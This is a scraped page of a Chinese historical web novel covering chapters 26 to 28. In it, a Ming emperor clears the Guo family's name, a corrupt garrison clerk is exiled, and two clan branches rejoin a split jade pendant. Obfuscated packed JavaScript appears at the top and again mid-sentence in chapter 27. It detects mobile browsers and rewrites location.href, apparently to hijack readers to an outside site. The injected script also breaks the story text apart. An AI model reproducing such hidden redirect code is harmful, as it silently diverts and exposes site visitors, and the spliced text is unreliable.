;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914096|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“草民自幼在海州长大,亲眼目睹军户生活的艰辛与束缚。族人入军籍多年,虽得以保全性命,却也失去了自由。草民只求陛下开恩,让族人脱离军籍,做个自在百姓,凭自己的双手谋生,足矣。” 张秉见状,也上前一步,躬身道:“陛下,郭玘所言句句发自肺腑。他在海州多年,改良盐碱地,兴办蒙学,惠及周边军户与贫民,深得民心。他不求荣华富贵,只求族人安稳,足见其品性高洁,也不负郭兴公的忠勇传承。恳请陛下恩准其请求。” 郭玹也躬身道:“陛下,郭玘堂弟历经磨难,却始终坚守本分,其心可昭日月。巩昌侯府蒙冤多年,族人早已厌倦政治纷争,只求安稳度日。恳请陛下成全。” 朱高炽看着跪在地上的郭玘,心中感慨万千。他见过太多追名逐利、攀附权贵的官员与勋贵后裔,像郭玘这样不慕荣华、甘愿为民的,实属罕见。他想起郭兴父子的忠勇,想起郭家后裔的隐忍,想起自己推行宽政的初衷,心中已有了决断。 “郭玘,你起来吧。”朱高炽抬手,示意内侍扶起郭玘,“你所求之事,朕准了。” 他顿了顿,朗声道:“传朕旨意:洪武朝开国功臣、巩昌侯郭兴,忠勇一生,功绩卓著,却于胡惟庸案中蒙冤受累;其子郭景振,世袭侯位,恪尽职守,无辜被杀,实属冤屈。今经核查,真相大白,朕特下旨为巩昌侯府平反昭雪,恢复郭兴、郭景振父子的名誉与身份,立碑铭记其功绩,供后人瞻仰。” “郭兴后裔郭玘一支,自今日起,脱离军籍,定居海州三里五甲,永为良民,免除一切徭役赋税三年。准其在海州建立祖祠,供奉郭兴、郭景振父子牌位,以尽孝道。” “赐白银千两,用于祖祠修建与族人生活补助。另赐‘守拙堂’匾额一方,表彰郭玘不慕荣华、坚守本分的品性。” 郭玘闻言,心中激动不已,再次跪倒在地,重重磕了三个响头:“谢陛下!陛下圣明!草民代巩昌侯府上下,谢陛下隆恩!” 殿内众臣也纷纷躬身道:“陛下圣明!” 朱高炽微微一笑:“郭玘,你虽不求爵位,但朕念及郭兴公的开国功绩,特许你在祖祠中立碑铭记其功绩,让后人知晓其忠勇之名。日后,你的族人若有才华出众、愿为朝廷效力者,可通过科举或荐举入仕,朕必择优录用。” “草民谢陛下厚爱。”郭玘道。他心中明白,陛下的这份恩宠,既是对祖父功绩的认可,也是对他品性的赞赏。但他早已下定决心,带领族人远离政治,安稳度日,这份恩宠,或许只能心领了。 御前会议结束后,仁宗特意留下了郭玘、郭玹与张秉。他看着三人,温和道:“今日为巩昌侯府平反,了却了朕的一桩心事。张秉,你核查旧案有功,朕擢升你为翰林院侍读学士,从五品,继续参与洪武、永乐两朝冤案的核查工作。” “臣谢陛下隆恩!”张秉躬身谢恩。数月的殚精竭虑,终于换来了公道,也让他实现了为官“为生民立命,为往圣继绝学”的初心。 “郭玹,你为家族之事奔走有功,朕擢升你为从四品太仆寺少卿,协助管理马政。”朱高炽道。 “臣谢陛下隆恩!”郭玹也躬身谢恩。 朱高炽最后看向郭玘:“郭玘,你虽不愿入仕,但朕仍想赏你一些东西。你在海州改良盐碱地、兴办蒙学,造福一方百姓,朕赏你‘爱民如子’银牌一面,愿你日后继续坚守本分,带领族人安居乐业。” “草民谢陛下赏赐!”郭玘躬身谢恩。 离开文华殿时,阳光正好,洒在身上温暖而耀眼。郭玘手中捧着陛下赏赐的银牌与“守拙堂”匾额的圣旨,心中满是感慨。三十余年的隐忍与等待,终于换来了家族的清白;三代人的坚守与期盼,终于在今日得以实现。 “贤弟,恭喜你!”郭玹拍了拍他的肩膀,眼中满是喜悦,“祖父与大伯的冤屈得以洗刷,族人得以脱离军籍,这都是你多年努力的结果。” “这都离不开郭玹兄、张先生与陛下的相助。”郭玘由衷地说道。 张秉笑道:“郭公子不必过谦。这一切,都是你应得的。你在海州的所作所为,早已证明你是个有担当、有品性的人,也配得上这份荣耀。” 三人边走边聊,穿过皇宫的长廊,朝着宫门方向走去。郭玘看着手中的银牌,心中暗暗发誓:日后定要带领族人,在海州好好生活,耕种劳作,兴办教化,不负陛下的恩宠,不负祖父的“忠勇”家训。 回到郭府,消息早已传开。郭府上下一片欢腾,族人们纷纷前来道贺,不少白发苍苍的老者握着郭玘的手,泣不成声——他们都是当年从淮西逃出来的郭氏族人,一辈子都盼着这一天。郭玘将陛下的圣旨与赏赐的银牌、匾额展示给众人看,族人们纷纷跪倒在地,朝着京城的方向叩谢皇恩。 当晚,郭府举行了盛大的庆祝晚宴。席间,郭玘向族人们讲述了京城面圣、旧案重审的经过,讲述了张秉、郭玹与郭贵妃的相助,讲述了陛下的仁厚与恩宠。族人们听得津津有味,脸上满是自豪与喜悦。 郭玘举起酒杯,对着众人道:“今日,我们郭家终于洗刷了冤屈,脱离了军籍,这都是陛下的圣明,也是张先生、郭玹兄与各位族人共同努力的结果。我敬大家一杯,也敬祖父与大伯的在天之灵!” “干杯!”众人纷纷举杯,一饮而尽。酒杯碰撞的声音,仿佛是对过往的告别,也是对未来的期许。 晚宴过后,郭玘独自一人再次来到郭府的祠堂。祠堂中供奉着郭氏先祖的牌位,他还特意让人取来了淮西祖宅的图纸——那座老宅在洪武二十三年被查抄后,便一直荒废,如今平反的消息传回去,乡里乡亲早已自发地清理了宅院的荒草。郭玘点燃三炷香,深深鞠躬:“郭家列祖列宗,你们看到了吗?朝廷已经为我们洗刷了冤屈,族人也脱离了军籍,以后可以做个自在百姓了。你们的心愿,终于实现了。” 他又对着郭兴与郭景振的牌位拜了三拜:“祖父,大伯,孙儿没有辜负你们的期望。日后,我会带着族人在海州好好生活,把‘忠勇’二字传承下去。淮西的祖宅,我会派人回去修缮,让它成为郭氏子孙铭记祖训的地方。” 香火袅袅,映照着祠堂中的牌位,仿佛是先祖们在回应他的誓言。郭玘站在祠堂中,心中满是平静与坚定。 数日后,郭玘带着圣旨与赏赐,辞别了郭府众人,踏上了返回海州的路。郭玹与张秉亲自送他到城外,郭玹握着他的手道:“贤弟,海州若有难处,随时传信来京,我定会相助。”张秉也道:“郭公子,日后海州的蒙学若需典籍,我会让人多送些过去。” 郭玘一一谢过,转身登上马车。马车辘辘,朝着海州的方向驶去。他掀开窗帘,望着远方的天际,心中一片澄澈。 而此时的海州,早已沸腾。平反的消息先一步传到了东海卫,族人们奔走相告,屯田区的田埂上,到处都是欢呼的人群。郭福伯带着族人,在村口的大槐树下搭起了牌楼,挂上了红灯笼,只等着他们的领头人归来。 淮西的祖宅那边,也传来了消息:乡里的百姓听说郭家平反了,纷纷前来帮忙修缮宅院,那些斑驳的墙壁被重新粉刷,荒草丛生的庭院种上了新的树苗。老宅的正厅里,人们为郭兴与郭景振立了临时的牌位,香火不断。 数月后,海州的郭氏祖祠落成,“守拙堂”的匾额高悬在祠堂正门之上。郭玘带着族人,在祠堂中举行了盛大的祭祖仪式。仪式结束后,他站在祠堂前,看着族人脸上的笑容,看着屯田区金黄的稻穗,看着蒙学里孩子们朗朗的读书声,心中终于彻底安定下来。 他没有接受朝廷的任何官职,也没有回到淮西的祖宅定居,而是选择留在海州,继续带领族人改良盐碱地,兴办蒙学。闲暇时,他会坐在海边,摩挲着那枚合璧的“忠勇”玉佩,想起李诚殉边时的壮烈,想起父亲临终前的嘱托,想起京城面圣的种种,心中便充满了力量。 夕阳西下,余晖洒在海州的土地上,镀上了一层温暖的金光。郭玘知道,这是郭家新生的开始,也是“忠勇”家训传承的新起点。往后的日子,他会带着族人,守着这片土地,安稳度日,不负此生,不负先祖。 27. 第四卷 御状合璧 第27章 王彪伏法 洪熙元年夏,京城的风裹挟着御花园的花香,吹过武定侯府的朱红宫墙。郭玹身着从四品太仆寺少卿官服,立于书房窗前,手中握着一封从海州加急送来的密信,眉头紧锁。信中详细罗列了东海卫吏目王彪多年来迫害郭氏家族的种种恶行,字里行间透着族人的悲愤与隐忍。 “王彪这贼子,竟如此嚣张跋扈!”郭玹猛地将密信拍在案几上,眼中满是怒火。自郭玘赴京告御状以来,他便暗中派人留意海州的动静,没想到竟查到王彪这许多罪证。 他想起郭玘在海州的二十余年,想起族人们在盐碱地中耕作的艰辛,想起他们遭受王彪欺压却敢怒不敢言的隐忍,心中愈发坚定了为族人讨回公道的决心。“玘堂弟为家族平反奔走半生,受尽苦楚,绝不能让这等奸佞小人继续逍遥法外!” 当日午后,郭玹便带着密信与搜集到的证据,前往皇宫求见仁宗。文华殿内,朱高炽正与杨荣等重臣商议朝政,听闻郭玹求见,便宣他入内。 “臣郭玹,叩见陛下,吾皇万岁万岁万万岁!”郭玹躬身行礼,语气中带着难掩的愤慨。 “平身吧。”朱高炽温和的目光落在他身上,“郭玹,你今日急匆匆求见,莫非有要事禀报?” “陛下圣明!”郭玹起身,双手奉上密信与证据,“臣今日前来,是为了弹劾东海卫吏目王彪。此人长期盘踞海州,倚仗职权,欺压百姓,尤其对巩昌侯府后裔郭玘一族百般迫害,罪行累累,恳请陛下为海州百姓与郭氏家族做主!” 朱高炽心中一凛,接过密信仔细翻阅。信中详细记载了王彪的种种恶行:洪武末年,郭玘一族隐居海州,王彪得知其为罪臣后裔,便屡次借机敲诈勒索,抢夺族人种田所得;永乐年间,郭玘带领族人改良盐碱地,初见成效,王彪便以“军户私占公田”为由,强索半数收成,若有不从,便派差役上门滋扰,毁坏农田;更有甚者,王彪见郭氏家族通过煮盐、耕作积累了些许财富,便诬陷族人“偷税漏税”,将族中管事郭忠抓入卫所大牢,严刑拷打,逼其交出钱财才肯放人。 “竟有此事?”朱高炽的脸色渐渐沉了下来。他即位以来,推行宽政,体恤民情,最见不得官员欺压百姓。王彪身为朝廷命官,却如此鱼肉乡里,实在令人愤慨。 “陛下,此事千真万确!”郭玹躬身道,“臣已派人暗中核查,密信中所述句句属实。王彪在海州作恶多年,不仅欺压郭氏家族,还鱼肉周边军户与百姓,收取苛捐杂税,强占民田,草菅人命,海州卫军民敢怒不敢言。” 他顿了顿,继续道:“郭玘堂弟在海州隐忍二十余年,为了家族安危,始终对王彪的迫害一忍再忍。即便如此,王彪仍不满足,在郭玘赴京告御状前夕,还曾带人拦截,妄图阻止其为家族平反。若非郭玘堂弟持有武定侯府令牌,恐怕早已遭其毒手。” 杨荣等重臣闻言,也纷纷面露愤慨之色。杨荣躬身道:“陛下,官员欺压百姓,乃国之大忌。王彪身为卫所吏目,不思为民办事,反而作恶多端,若不严惩,恐寒了天下百姓的心。” 朱高炽点点头,眼中闪过一丝厉色:“王彪此獠,罪大恶极!朕若不严惩,何以彰显国法之威严?何以安抚民心?” 他看向郭玹:“郭玹,你即刻传朕旨意,命御史台选派清正廉明的御史,前往海州彻查王彪的罪行。务必细致入微,搜集所有证据,将其罪证一一核实,绝不姑息!” “臣遵旨!”郭玹心中一喜,连忙躬身领命。 “另外,”朱高炽补充道,“派去的御史,不仅要查王彪的罪行,还要考察郭玘在海州的所作所为。朕听闻郭玘在海州改良盐碱地,兴办蒙学,惠及一方百姓,若情况属实,也当予以表彰。” “臣明白!” 旨意一下,御史台立刻选派了以清正敢言闻名的御史周新,前往海州彻查此事。周新接到旨意后,不敢耽搁,即刻带着随从,乔装打扮后,悄悄离开了京城,朝着海州方向进发。 此时的海州,依旧是一片繁忙的景象。郭玘虽远在京城,但族人们并未懈怠,在郭福伯的带领下,继续改良盐碱地,扩大种植面积,蒙学也照常授课。周边的军户与百姓,感念郭玘多年来的恩惠,也时常前来相助。 而王彪,则依旧在东海卫作威作福。他得知郭玘在京城为家族平反成功,心中满是忌惮,却又心存侥幸,认为自己的罪行隐蔽,且远在海州,朝廷未必会深究。因此,他不仅没有收敛,反而变本加厉,以“郭氏家族平反后气焰嚣张”为由,再次向周边军户收取苛捐杂税,稍有不从,便拳脚相加。 这一日,王彪正带着几名亲信,在海州卫城的街道上敲诈勒索一名卖菜的老农。老农家中本就贫困,实在拿不出钱财,便苦苦哀求。王彪见状,勃然大怒,一脚将老农的菜摊踢翻,骂道:“老东西,敬酒不吃吃罚酒!郭玘那小子在京城得了势,你以为我就不敢收拾你们了?” 老农趴在地上,看着散落一地的蔬菜,心疼得老泪纵横,却敢怒不敢言。周围的百姓见状,也纷纷面露愤色,却无人敢上前劝阻。 就在这时,一名身着布衣、目光锐利的男子走上前,扶起老农,对着王彪沉声道:“这位大人,如此欺压百姓,未免太过过分了吧?” 王彪转头望去,见对方身着普通布衣,便不以为意,冷哼道:“哪里来的野小子,也敢管老子的闲事?滚远点,否则别怪我对你不客气!” 男子微微一笑:“大人身为朝廷命官,不为百姓做主,反而敲诈勒索,鱼肉乡里,就不怕朝廷降罪吗?” “朝廷降罪?”王彪哈哈大笑,“老子在海州说了就算,朝廷就算知道了,也奈我何?再说,郭玘那小子就算得了势,也未必会记得我这小小的吏目。” 男子眼中闪过一丝冷光,却并未多说,只是扶着老农,默默离开了。王彪见状,以为对方怕了,便更加嚣张,继续在街道上敲诈勒索。 他万万没有想到,这位看似普通的布衣男子,正是奉命前来彻查他罪行的御史周新。 周新与随从在海州暗中走访了数日,通过与百姓、军户的交谈,以及实地考察,搜集到了大量关于王彪罪行的证据。同时,他也了解到了郭玘在海州的种种善举,心中满是敬佩。 在海州卫城的屯田区,周新看到了一望无际的良田,金黄的稻穗随风摇曳,与他来时路上看到的盐碱地形成了鲜明的对比。当地的军户告诉他,这些良田都是郭玘带领族人,耗费十余年心血改良而成的。当年,海州近海多盐碱地,收成微薄,百姓与军户常常食不果腹。是郭玘带来了耐碱谷种,教大家挖沟排盐、改良土壤,才让这些不毛之地变成了良田。 在海州城西的蒙学,周新看到了数十名孩童正在读书识字。蒙学的先生告诉他,这所蒙学是郭玘自费创办的,不仅招收郭氏族人的子弟,还免费招收周边的贫民子弟。郭玘常常亲自授课,教导孩子们读书识字、为人处世,许多贫民子弟因此得以摆脱文盲的命运。 此外,周新还了解到,郭玘在海州期间,还曾带领族人与军户,抵御过海盗的侵袭,保护了海州卫城的安全;在百姓遭遇灾荒时,郭玘开仓放粮,救济灾民,深得民心。 “郭玘公子真是个大善人啊!”一位白发苍苍的老人感慨道,“若不是他,我们这些人恐怕早就饿死了。王彪那贼子,却处处与郭公子作对,欺压我们,真是天怒人怨!” 通过数日的暗中调查,周新心中已然明了。王彪的罪行确凿,罄竹难书;而郭玘则是一位为民谋福、忍辱负重的贤才。他当即决定,不再暗中调查,而是公开身份,彻查王彪的罪行。 次日清晨,周新身着御史官服,带着随从,径直来到东海卫所。李大人见御史突然到访,心中一惊,连忙上前迎接:“不知御史大人驾到,有失远迎,还请恕罪。” “李大人不必多礼。”周新神色严肃,“本官奉陛下旨意,前来彻查东海卫吏目王彪欺压百姓、贪赃枉法一案,还请李大人配合。” 李大人心中一凛,他早知王彪行事嚣张,却没想到竟惊动了朝廷御史。他不敢怠慢,连忙道:“御史大人放心,下官定当全力配合。” 周新点点头,当即下令:“传朕旨意,即刻将王彪捉拿归案,押至指挥使司审讯!” “是!”李大人连忙命人前去捉拿王彪。 此时的王彪,正在府中饮酒作乐,听闻御史前来捉拿自己,顿时吓得魂飞魄散。他知道自己的罪行败露,想要连夜逃跑,却被早已埋伏在府外的卫所士兵抓个正着。 “你们敢抓我?我是东海卫吏目!”王彪挣扎着,大声喊道。 “王彪,你作恶多端,欺压百姓,如今朝廷御史亲自前来彻查,你还想反抗?”士兵们冷声道,将他死死按住,戴上枷锁。 王彪被押至卫所时,周新早已端坐于大堂之上,两侧站着随从与卫所士兵,气氛庄严肃穆。 “王彪,你可知罪?”周新的声音冰冷,带着不容置疑的威严。 王彪跪在地上,心中满是恐惧,却仍心存侥幸,狡辩道:“御史大人,下官不知何罪之有?下官在东海卫任职多年,兢兢业业,从未做过欺压百姓之事,还请大人明察。” “明察?”周新冷笑一声,“本官在海州暗中走访多日,早已搜集到了你所有的罪证。你还敢狡辩?” 他示意随从将搜集到的证据一一呈上:“这是你多年来敲诈勒索百姓的供词,共有一百余人作证;这是你强占民田、收取苛捐杂税的账目;这是你严刑拷打郭氏家族管事郭忠的证词。桩桩件件,证据确凿,你还想抵赖?” 王彪看着眼前的证据,脸色煞白,浑身颤抖,再也无法狡辩。他知道,自己的末日到了。 周新继续道:“你不仅欺压普通百姓,还多次迫害巩昌侯府后裔郭玘一族。郭玘带领族人改良盐碱地,惠及一方百姓,你却屡次强索收成;郭玘赴京告御状,你竟敢带人拦截,妄图阻止其为家族平反。你可知郭玘如今已蒙陛下恩准,脱离军籍,定居海州,你竟敢如此胆大妄为,实在罪该万死!” 王彪趴在地上,连连磕头:“御史大人,下官知罪!下官一时糊涂,才做出这些错事,求大人饶命!” “饶命?”周新怒声道,“你欺压百姓多年,草菅人命,作恶多端,如今才知后悔,晚了!” 随后,周新又传召了海州卫的军民代表,让他们当堂指证王彪的罪行。军民们早已对王彪恨之入骨,纷纷上前,诉说着自己遭受的迫害。有的百姓被王彪敲诈勒索,家破人亡;有的军户被王彪强占田地,流离失所;还有的人被王彪严刑拷打,落下终身残疾。 大堂之上,军民们的哭诉声此起彼伏,令人动容。周新看着眼前的一切,心中愈发愤怒,当即下令:“将王彪打入大牢,待本官整理好卷宗,上报陛下,再行处置!” 王彪被押入大牢后,海州卫城的百姓们纷纷奔走相告,脸上满是喜悦。大家都知道,压在他们头上的大山终于要被推翻了。 周新在东海卫所停留了数日,仔细整理了王彪的罪证卷宗,同时将郭玘在海州的种种善举也详细记录下来,上报给仁宗。 卷宗送达京城后,朱高炽仔细翻阅了一遍,心中对王彪的恶行怒不可遏,对郭玘的善举则赞赏有加。他当即下旨:“东海卫吏目王彪,身为朝廷命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914097|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,却贪赃枉法,欺压百姓,迫害忠良后裔,罪行累累,民怨沸腾。着将其削去官职,流放海南,终身不得返回中原。其家产悉数查抄,用于赔偿受害百姓。” 同时,仁宗还下旨表彰郭玘:“郭玘忍辱负重,在海州二十余年,改良盐碱地,兴办蒙学,抵御海盗,救济灾民,惠及一方百姓,深得民心。特赐‘忠勇传家’匾额一方,白银五百两,以资嘉奖。” 旨意传到海州时,海州卫城的百姓们欣喜若狂,纷纷涌上街头,燃放鞭炮,庆祝王彪伏法,感念陛下圣明。 “太好了!王彪那贼子终于被流放了!” “郭公子真是我们的再生父母啊!若不是他,我们还在受苦受难!” “郭氏子郭玘忍辱负重,有勇有谋,真是个了不起的人物!” 百姓们纷纷称赞郭玘,有人提议为郭玘立生祠,以纪念他的功绩。郭福伯连忙婉拒:“各位乡亲,郭玘公子所作所为,皆是为了大家,为了家族,他不求回报。大家的心意,我们心领了,但立生祠之事,还请作罢。” 即便如此,百姓们对郭玘的感激之情依旧不减。他们自发地来到郭氏家族的屯田区,帮助族人耕种;有的百姓还将自家的土特产送到郭氏家族,以表谢意。 此时的京城,郭玘也收到了海州传来的消息。得知王彪被流放,百姓们得以安居乐业,他心中满是欣慰。他知道,这不仅是为家族讨回了公道,也是为海州百姓除去了一害。 郭玹看着郭玘欣慰的模样,笑道:“贤弟,如今王彪伏法,你的心愿也了了。海州百姓都在称赞你‘忍辱负重,有勇有谋’,你也算是实至名归。” 郭玘摇摇头,感慨道:“这都是陛下圣明,周御史清正廉明,还有百姓们的支持。我只是做了我该做的事。” 他顿了顿,继续道:“如今家族冤屈得雪,王彪伏法,族人得以脱离军籍,安稳度日,我心中的一块大石终于落了地。接下来,我想尽快返回海州,带领族人好好生活,不辜负陛下的恩宠,不辜负百姓们的期望。” 郭玹点点头:“贤弟说得对。海州的族人还在等你回去,蒙学的孩子们也在盼着你。我已为你准备好了车马与盘缠,你明日便可启程。” “多谢郭玹兄。” 次日清晨,郭玘带着赵虎等心腹,辞别了郭玹、张秉等人,踏上了返回海州的路途。与来时的忐忑与焦虑不同,此次归途,他心中满是平静与喜悦。他知道,等待他的,将是族人的期盼与百姓们的欢迎。 一路无话,半月后,郭玘等人终于抵达海州。远远地,他便看到海州卫城的城门处,站满了迎接他的百姓与族人。郭福伯带着族人,手持鲜花与锦旗,站在最前面,脸上满是喜悦。 “郭公子回来了!” “郭公子,您可回来了!” 百姓们纷纷上前,围着郭玘,嘘寒问暖,脸上满是崇敬与感激。郭玘连忙下马,向百姓们拱手行礼:“各位乡亲,辛苦大家了。” “郭公子,您为我们除去了王彪那害群之马,我们都感激您!”一位老农走上前,握着郭玘的手,老泪纵横。 “乡亲们,这都是陛下的圣明,也是大家共同努力的结果。”郭玘道,“日后,我会继续带领大家,好好耕种,兴办教化,让我们海州变得更加美好。” “好!我们听郭公子的!”百姓们齐声应道。 郭玘在百姓们的簇拥下,回到了族中。族人们为他举行了盛大的欢迎仪式,席间,大家纷纷向他道贺,讲述着他离开后海州的变化。 郭玘看着族人们喜悦的脸庞,心中满是感慨。他知道,这只是一个新的开始。未来的路还很长,他需要带领族人,在海州扎根立足,繁衍生息,让郭家的“忠勇”精神得以传承,让“守拙堂”的匾额名副其实。 当晚,郭玘独自一人来到父亲郭斌的墓前。他将王彪伏法、朝廷表彰的消息告知父亲,将陛下赏赐的“忠勇传家”匾额的圣旨放在墓碑前:“爹,您放心吧,王彪那贼子已经被流放了,族人得以安稳度日,朝廷也表彰了我们。您的心愿,终于实现了。” 月光洒在墓碑上,仿佛是父亲的回应。郭玘站在墓前,心中满是平静与坚定。他知道,家族的未来,就在这片土地上,就在族人的手中。而他,将坚守“忠勇”与“守拙”的初心,带领族人,在海州创造更加美好的生活。 洪熙元年夏,王彪伏法的消息传遍了淮西地区,百姓们纷纷称赞仁宗的圣明与郭玘的功绩。郭氏家族在海州的声望也达到了顶峰,“郭氏子郭玘忍辱负重,有勇有谋”的赞誉,不仅在海州流传,更传遍了周边府县。 而郭玘,并没有因为这些赞誉而骄傲自满。他依旧保持着谦逊低调的作风,每日带领族人耕种劳作,教导蒙学的孩子们读书识字。他知道,真正的荣耀,不是来自于他人的称赞,而是来自于族人的幸福与百姓的安居乐业。 接下来的日子,郭玘将朝廷赏赐的白银用于扩大蒙学规模,修建水利设施,进一步改良盐碱地。在他的带领下,海州的农业生产日益繁荣,百姓的生活水平不断提高,蒙学也培养出了越来越多的人才。 海州卫所李大人也对郭玘敬佩有加,时常前来拜访,与他商议海防与民生事务。郭玘也积极为李大人出谋划策,提出了许多有益的建议,为海州的稳定与发展做出了重要贡献。 郭玘站在海州的海岸边,望着远方的大海,心中满是希望。他知道,家族的冤屈已经洗刷,未来的生活充满了光明。而他,将带着祖父与父亲的期望,带着族人的信任,带着百姓的爱戴,在海州这片土地上,续写郭家“忠勇传家”的新篇章。 28. 第四卷 御状合璧 第28章 两族合祭 洪熙元年秋,海州的风褪去了夏末的燥热,带着沿海独有的咸湿气息,吹拂着东海卫卫城的青石板路。郭玘身着素色儒衫,牵着儿子郭源的手,从卫城走向州城三里五甲家族住所的路上。街道两旁,百姓们纷纷驻足行礼,脸上满是崇敬与喜悦——自王彪伏法、朝廷下旨为巩昌侯府平反后,郭玘的名字在海州早已家喻户晓,成为了百姓口中“忍辱负重、有勇有谋”的典范。 “父亲,郭玹伯父真的会来海州吗?”郭源仰着小脸,眼中满是期待。他今年刚满八岁,自出生起便听着家族蒙冤的故事,对这位远在京城的同族伯父充满了好奇。 郭玘微微一笑,摸了摸儿子的头:“会的。你伯父代表武定侯府前来,是为了参加家族的合祭大典,告慰先祖在天之灵。” 此次返回海州,郭玘心中既有对族人的牵挂,也有对两族重逢的期盼。武定侯府与巩昌侯府本是同根同源,自胡惟庸案余震后,两族一在京城、一在海州,虽有暗中联络,却从未真正团聚。如今家族冤屈得雪,正是两族合祭先祖、续写手足情谊的最佳时机。 回到族中,郭福伯早已带领族人等候在门口。看到郭玘归来,族人们纷纷上前簇拥,脸上满是喜悦。“玘儿,你可回来了!”郭福伯握住郭玘的手,喜泪盈奔,“武定侯府的人已经到了,郭玹公子正在府中等你。” 郭玘心中一喜,连忙加快脚步,朝着族中祠堂走去。刚走到祠堂门口,便看到一道熟悉的身影正站在庭院中,望着墙上悬挂的郭氏家训,正是郭玹。 “郭玹兄!”郭玘快步上前,眼中满是激动。 郭玹转过身,看到郭玘,也连忙迎了上来,两人紧紧握住对方的手。“贤弟,你可算回来了!”郭玹的声音带着难掩的喜悦,“此次能亲眼见到你与族人安好,我心中甚是欣慰。” “劳烦郭玹兄千里迢迢赶来海州,辛苦你了。”郭玘由衷地说道。 两人相携走进祠堂,祠堂内庄严肃穆,正中央供奉着郭山甫、郭兴、郭英、郭铭、郭斌等先辈的牌位,两侧则摆放着李诚等为家族牺牲的族人牌位。牌位前,香烛袅袅,青烟缭绕,空气中弥漫着淡淡的檀香。 参拜完祖先,郭玹率先走到郭兴的牌位前,躬身行礼,眼中满是感慨:“伯祖父,孙儿郭玹,代表武定侯府前来祭拜。您与景振伯一生忠勇,蒙冤二十余年,如今朝廷已为家族平反,两族得以团聚,您在天之灵,也该安息了。” 郭玘也带着儿子郭源,在牌位前深深鞠躬:“祖父,父亲,如今家族冤屈得雪,武定侯府的亲人也已到来,我们两族终于团聚了。你们的遗愿,我们终于实现了。” 祭拜完毕后,郭玹从怀中取出一个锦盒,缓缓打开。锦盒中,静静地躺着半块玉佩,质地温润,刻着苍劲有力的“忠”字,正是当年郭兴交给长子郭景振的那半块“忠”字玉佩。 “贤弟,这是父亲临终前托付给我的‘忠’字玉佩。”郭玹的声音带着一丝哽咽,“当年景扬叔(郭斌)带着‘勇’字玉佩逃亡海州,这半块‘忠’字玉佩辗转留在了武定侯府。二十余年过去了,今日,我终于能将它带回海州,与你手中的‘勇’字玉佩合璧。” 郭玘心中一震,连忙从怀中取出自己珍藏多年的“勇”字玉佩。两块玉佩被小心翼翼地放在祠堂的供案上,郭玹轻轻将它们对接。 “咔嚓”一声轻响,两块玉佩严丝合缝,完美契合。正面是苍劲有力的“忠勇”二字,笔锋遒劲,浑然一体;背面的“郭”字古体字暗纹完整呈现,纹路流畅,形象饱满,仿佛从未分开过。 祠堂内的族人们纷纷围上前来,看着合璧的玉佩,眼中满是激动与感慨。郭福伯老泪纵横:“太好了!‘忠勇’合璧了!兴公与景扬公(郭斌)在天之灵,看到这一幕,定会感到欣慰!” 郭玹看着合璧的玉佩,声音郑重:“半璧合,才是圆满。祖有灵,冤得雪。家族祭,手足情。这枚玉佩,是郭家的传家宝,更是两族联结的象征。今日,它终于重归完整,正如我们郭家两族,历经二十余年的分离与磨难,终于再次团聚。” 郭玘抚摸着合璧的玉佩,心中百感交集。这枚玉佩,承载着祖父郭兴的忠勇之志,承载着父亲郭斌的隐忍之痛,承载着郭铭叔的守护之情,更承载着两族族人二十余年的期盼与坚守。它的合璧,不仅是一件信物的完整,更是一个家族的重生。 “郭玹兄,多谢你将‘忠’字玉佩带回海州。”郭玘的声音带着哽咽,“若无武定侯府多年的暗中照拂,若无你与郭贵妃娘娘的奔走相助,我们巩昌侯府一族,恐怕早已不复存在。这份恩情,我们永世不忘。” “贤弟,言重了。”郭玹摇摇头,“我们本是同根同源的一家人,守望相助是理所当然。当年家族蒙冤,武定侯府未能倾力相助,心中早已愧疚多年。如今能为家族平反略尽绵薄之力,也算是了却了父亲与伯祖父的心愿。” 两人在祠堂中相谈甚欢,回忆着过往的岁月,诉说着两族这些年的经历。郭玘详细讲述了父亲郭斌带领族人在海州隐忍蛰伏、改良盐碱地、兴办蒙学的艰辛;郭玹则讲述了武定侯府在京城的处境,以及为家族平反所做的种种努力。 族人们也围在一旁,认真倾听着,时而为两族的遭遇而落泪,时而为家族的平反而欢呼。祠堂内的气氛,既有重逢的喜悦,也有对过往的缅怀。 当晚,族中举行了盛大的晚宴,招待郭玹一行。宴席上,郭玘与郭玹并肩而坐,族人纷纷上前敬酒,感谢武定侯府对巩昌侯府的帮助。郭玹也举杯回敬,称赞巩昌侯府族人的坚韧与隐忍。 “各位叔伯长辈,兄弟姐妹们,”郭玹站起身,举起酒杯,“今日,我代表武定侯府,向巩昌侯府的各位亲人致以最诚挚的问候。二十余年的分离,未能隔断我们的手足之情;二十余年的磨难,未能磨灭我们的忠勇之志。如今,家族冤屈得雪,两族得以团聚,这是我们共同的荣耀。我敬大家一杯,祝愿我们郭家两族,手足情深,世代相传!” “干杯!”族人们纷纷举杯,一饮而尽。酒杯碰撞的声音,回荡在庭院中,仿佛是对过往的告别,也是对未来的期许。 晚宴过后,郭玘与郭玹独自一人来到祠堂。月光透过祠堂的窗棂,洒在合璧的玉佩上,泛着温润的光芒。 “贤弟,这枚‘忠勇’玉佩,是郭家的传家宝,理应留在守拙祠,由你保管。”郭玹道。 